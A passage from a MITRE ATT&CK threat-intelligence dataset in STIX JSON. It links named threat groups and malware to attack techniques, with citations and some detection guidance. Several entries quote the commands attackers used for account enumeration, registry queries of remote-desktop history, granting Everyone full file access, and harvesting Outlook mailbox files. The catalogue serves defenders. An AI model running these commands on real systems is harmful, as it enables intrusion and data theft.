["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c2e58b40-7644-4c0c-92ac-b63a565aca44", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 QUADAGENT July 2018", "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}], "modified": "2020-03-17T02:18:35.437Z", "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) checks if a value exists within a Registry key in the HKCU hive whose name is the same as the scheduled task it has created.(Citation: Unit 42 QUADAGENT July 2018)", "relationship_type": "uses", "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c2e67b83-b3c3-4db4-a18e-74f1cf005132", "created": "2020-11-19T16:56:30.219Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cybereason Bazar July 2020", "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020.", "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles"}, {"source_name": "DFIR Conti Bazar Nov 2021", "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.", "url": "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}, {"source_name": "NCC Group Team9 June 2020", "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.", "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T12:46:31.226Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) can use HTTP and HTTPS over ports 80 and 443 in C2 communications.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)(Citation: DFIR Conti Bazar Nov 2021)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c2e6b2a9-86b7-439a-88ac-dd2c34456d71", "type": "relationship", "created": "2020-08-13T18:21:08.277Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks MCMD July 2019", "url": "https://www.secureworks.com/research/mcmd-malware-analysis", "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."}], "modified": "2020-08-13T18:21:08.277Z", "description": "[MCMD](https://attack.mitre.org/software/S0500) has the ability to upload files from an infected device.(Citation: Secureworks MCMD July 2019)", "relationship_type": "uses", "source_ref": "tool--975737f1-b10d-476f-8bda-3ec26ea57172", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c2e9f949-59a5-4e96-b0dd-0bde1a507909", "created": "2020-06-10T19:35:58.136Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "iSight Sandworm Oct 2014", "description": "Ward, S.. (2014, October 14). iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaign. Retrieved June 10, 2020.", "url": "https://web.archive.org/web/20160503234007/https://www.isightpartners.com/2014/10/cve-2014-4114/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T05:28:16.646Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used Base64 encoding within malware variants.(Citation: iSight Sandworm Oct 2014)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c2ebda8d-2f91-440c-85b1-36fa969300a5", "type": "relationship", "created": "2020-11-25T22:46:47.622Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "url": "https://www.justice.gov/opa/press-release/file/1328521/download", "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}], "modified": "2021-01-06T21:30:47.871Z", "description": "In preparation for its attack against the 2018 Winter Olympics, [Sandworm Team](https://attack.mitre.org/groups/G0034) conducted online research of partner organizations listed on an official PyeongChang Olympics partnership site.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c2f85446-52ef-4446-a5e4-5a6b691156ec", "type": "relationship", "created": "2020-10-19T16:48:08.551Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-19T16:48:08.551Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de", "target_ref": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c2fc4ab7-303c-4359-9504-c55e94ea9aab", "type": "relationship", "created": "2020-11-05T16:01:29.588Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-11-05T16:01:29.588Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11", "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c2fcdaf4-f4e7-446d-8b92-7a9df7ccc1f8", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", "description": "FireEye. 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(2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}], "modified": "2020-06-29T15:22:59.188Z", "description": "[BackConfig](https://attack.mitre.org/software/S0475) has the ability to use HTTPS for C2 communiations.(Citation: Unit 42 BackConfig May 2020)", "relationship_type": "uses", "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c31643e8-86a3-49e4-bd69-572d7e64c7c0", "type": "relationship", "created": "2019-01-29T20:17:49.374Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. 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Retrieved May 20, 2020."}], "modified": "2020-05-21T14:55:00.407Z", "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has injected a DLL backdoor into dllhost.exe and svchost.exe.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: TrendMicro Tropic Trooper May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c31ccdbd-e501-41cb-98d9-46cdff9be1c0", "created": "2023-07-28T17:40:45.983Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Sygnia Elephant Beetle Jan 2022", "description": "Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. 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Retrieved July 15, 2020."}], "modified": "2020-08-03T15:17:31.879Z", "description": "[Carberp](https://attack.mitre.org/software/S0484) has connected to C2 servers via HTTP.(Citation: Trusteer Carberp October 2010)", "relationship_type": "uses", "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c3b1f90e-6b04-4e6f-99ae-e63b1607f72c", "type": "relationship", "created": "2021-07-22T19:36:52.307Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NSA and ASD Detect and Prevent Web Shells 2020", "url": "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF", "description": "NSA and ASD. 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Retrieved November 12, 2021."}], "modified": "2021-11-19T15:35:37.781Z", "description": "[Clambling](https://attack.mitre.org/software/S0660) has the ability to communicate over HTTP.(Citation: Trend Micro DRBControl February 2020)", "relationship_type": "uses", "source_ref": "malware--6e95feb1-78ee-48d3-b421-4d76663b5c49", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c3c37431-5f1a-4282-ac0b-fd4270d67cd7", "type": "relationship", "created": "2020-10-20T03:24:36.273Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-15T03:30:33.671Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. 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Retrieved May 12, 2020."}], "modified": "2020-05-15T18:47:04.393Z", "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) gathered the local privileges for the infected host.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848", "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c406dfb3-d860-4895-858d-e3092cabd5bb", "type": "relationship", "created": "2020-10-27T19:26:38.212Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT BLINDINGCAN Aug 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", "description": "US-CERT. (2020, August 19). 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Retrieved July 17, 2020."}], "modified": "2020-07-29T20:01:02.483Z", "description": "[CrackMapExec](https://attack.mitre.org/software/S0488) can enumerate the system drives and associated system name.(Citation: CME Github September 2018)", "relationship_type": "uses", "source_ref": "tool--c4810609-7da6-48ec-8057-1b70a7814db0", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c42f802b-394c-4d6f-bc3f-bf039c971cae", "type": "relationship", "created": "2021-02-08T23:18:31.876Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike Indrik November 2018", "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", "description": "Frankoff, S., Hartley, B. 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Retrieved January 19, 2021."}], "modified": "2021-01-22T16:47:23.263Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has harvested data from remote mailboxes including through execution of <code>\\\\<hostname>\\c$\\Users\\<username>\\AppData\\Local\\Microsoft\\Outlook*.ost</code>.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c43e411a-6615-47f5-ba14-b62c78a61572", "type": "relationship", "created": "2021-05-17T17:26:11.399Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-04-01T15:20:43.140Z", "description": "Applications may send push notifications to verify a login as a form of multi-factor authentication (MFA). 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(2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}], "modified": "2020-07-07T12:35:12.068Z", "description": "[Attor](https://attack.mitre.org/software/S0438) can set attributes of log files and directories to HIDDEN, SYSTEM, ARCHIVE, or a combination of those.(Citation: ESET Attor Oct 2019)", "relationship_type": "uses", "source_ref": "malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c47e35e1-cf8a-4c2b-b63d-25b37a008226", "type": "relationship", "created": "2019-01-30T14:00:49.814Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/", "source_name": "PaloAlto DNS Requests May 2016"}], "modified": "2019-05-30T18:05:32.899Z", "description": "[APT18](https://attack.mitre.org/groups/G0026) can collect system information from the victim\u2019s machine.(Citation: PaloAlto DNS Requests May 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c4880d8d-3d07-49f6-875b-00b573faebf3", "created": "2022-10-13T20:21:25.215Z", "revoked": false, "external_references": [{"source_name": "McAfee Honeybee", "description": "Sherstobitoff, R. (2018, March 02). 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Retrieved May 16, 2018.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T20:21:25.215Z", "description": "(Citation: McAfee Honeybee) ", "relationship_type": "uses", "source_ref": "campaign--4553292d-12c6-4a93-934d-12160370d4e0", "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c48f6a1b-1599-4e82-a7b6-1f7b5186e99e", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf", "description": "F-Secure Labs. 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Retrieved March 24, 2016.", "source_name": "F-Secure BlackEnergy 2014"}], "modified": "2020-06-02T16:14:00.331Z", "description": "One variant of [BlackEnergy](https://attack.mitre.org/software/S0089) creates a new service using either a hard-coded or randomly generated name.(Citation: F-Secure BlackEnergy 2014)", "relationship_type": "uses", "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c48ff628-9276-492f-a61c-73989785b292", "type": "relationship", "created": "2019-01-29T18:44:05.137Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Agent Tesla Oct 2018", "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html", "description": "Brumaghin, E., et al. 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Retrieved November 5, 2018."}], "modified": "2020-05-28T23:41:03.883Z", "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can encrypt data with 3DES before sending it over to a C2 server.(Citation: Talos Agent Tesla Oct 2018)", "relationship_type": "uses", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c4953a3b-d674-4582-b644-1339ec097aad", "type": "relationship", "created": "2021-03-19T21:04:01.261Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 TA551 Jan 2021", "url": "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", "description": "Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."}], "modified": "2021-03-19T21:04:01.261Z", "description": "[TA551](https://attack.mitre.org/groups/G0127) has retrieved DLLs and installer binaries for malware execution from C2.(Citation: Unit 42 TA551 Jan 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c495478b-6bae-4d1e-a43e-be07fe7cdb48", "type": "relationship", "created": "2021-01-22T21:09:58.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Chimera January 2021", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}], "modified": "2021-01-22T21:09:58.863Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has queried Registry keys using <code>reg query \\\\<host>\\HKU\\<SID>\\SOFTWARE\\Microsoft\\Terminal Server Client\\Servers</code> and <code>reg query \\\\<host>\\HKU\\<SID>\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings</code>.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c4962ae6-91e2-407d-9f42-aa0381574476", "type": "relationship", "created": "2017-05-31T21:33:27.052Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html", "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", "source_name": "FireEye admin@338"}], "modified": "2020-03-18T19:23:15.492Z", "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following commands following exploitation of a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to enumerate user accounts: <code>net user >> %temp%\\download</code> <code>net user /domain >> %temp%\\download</code>(Citation: FireEye admin@338)", "relationship_type": "uses", "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c4995d4f-2b7e-439f-afb1-a4c9218c7a08", "type": "relationship", "created": "2019-01-30T17:43:28.179Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/", "source_name": "Securelist Darkhotel Aug 2015"}], "modified": "2020-03-16T20:05:43.545Z", "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has dropped an mspaint.lnk shortcut to disk which launches a shell script that downloads and executes a file.(Citation: Securelist Darkhotel Aug 2015)", "relationship_type": "uses", "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c49a3d89-c8fa-4c5d-813e-f4495d892d1a", "type": "relationship", "created": "2019-03-25T19:13:54.947Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "LogRhythm WannaCry", "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/", "description": "Noerenberg, E., Costis, A., and Quist, N. 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Retrieved March 25, 2019."}], "modified": "2020-03-17T15:13:03.314Z", "description": "[WannaCry](https://attack.mitre.org/software/S0366) uses <code>attrib +h</code> and <code>icacls . /grant Everyone:F /T /C /Q</code> to make some of its files hidden and grant all users full access controls.(Citation: LogRhythm WannaCry)", "relationship_type": "uses", "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", "target_ref": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c49b5147-f60f-43d7-b119-52b1761002af", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos GravityRAT", "description": "Mercer, W., Rascagneres, P. (2018, April 26). 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Retrieved May 16, 2018.", "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}], "modified": "2019-04-24T23:21:59.138Z", "description": "[GravityRAT](https://attack.mitre.org/software/S0237) has been delivered via Word documents using DDE for execution.(Citation: Talos GravityRAT)", "relationship_type": "uses", "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c49b6142-a274-42bb-9e92-fc13ec15400d", "created": "2022-04-28T16:06:09.116Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash.", "modified": "2022-04-28T16:06:09.116Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c49ddd81-075e-491a-9eb7-69ff7c55b81c", "type": "relationship", "created": "2022-03-30T14:26:51.876Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.876Z", "description": "Monitor for third-party application logging, messaging, and/or other service artifacts that provide context of user authentication to web applications, including cloud-based services. Combine this information with web credentials usage events to identify authentication events that do not fit the organization baseline.", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c49f7336-749e-483b-8873-9283a377546d", "type": "relationship", "created": "2020-02-04T13:02:12.002Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-04T13:02:12.002Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3", "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c4a2a14a-6fb0-46cf-b97d-c4bcb1c751a7", "type": "relationship", "created": "2019-02-12T16:33:29.291Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Zebrocy Nov 2018", "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."}], "modified": "2020-03-17T15:13:26.623Z", "description": "[Zebrocy](https://attack.mitre.org/software/S0251) stores all collected information in a single file before exfiltration.(Citation: ESET 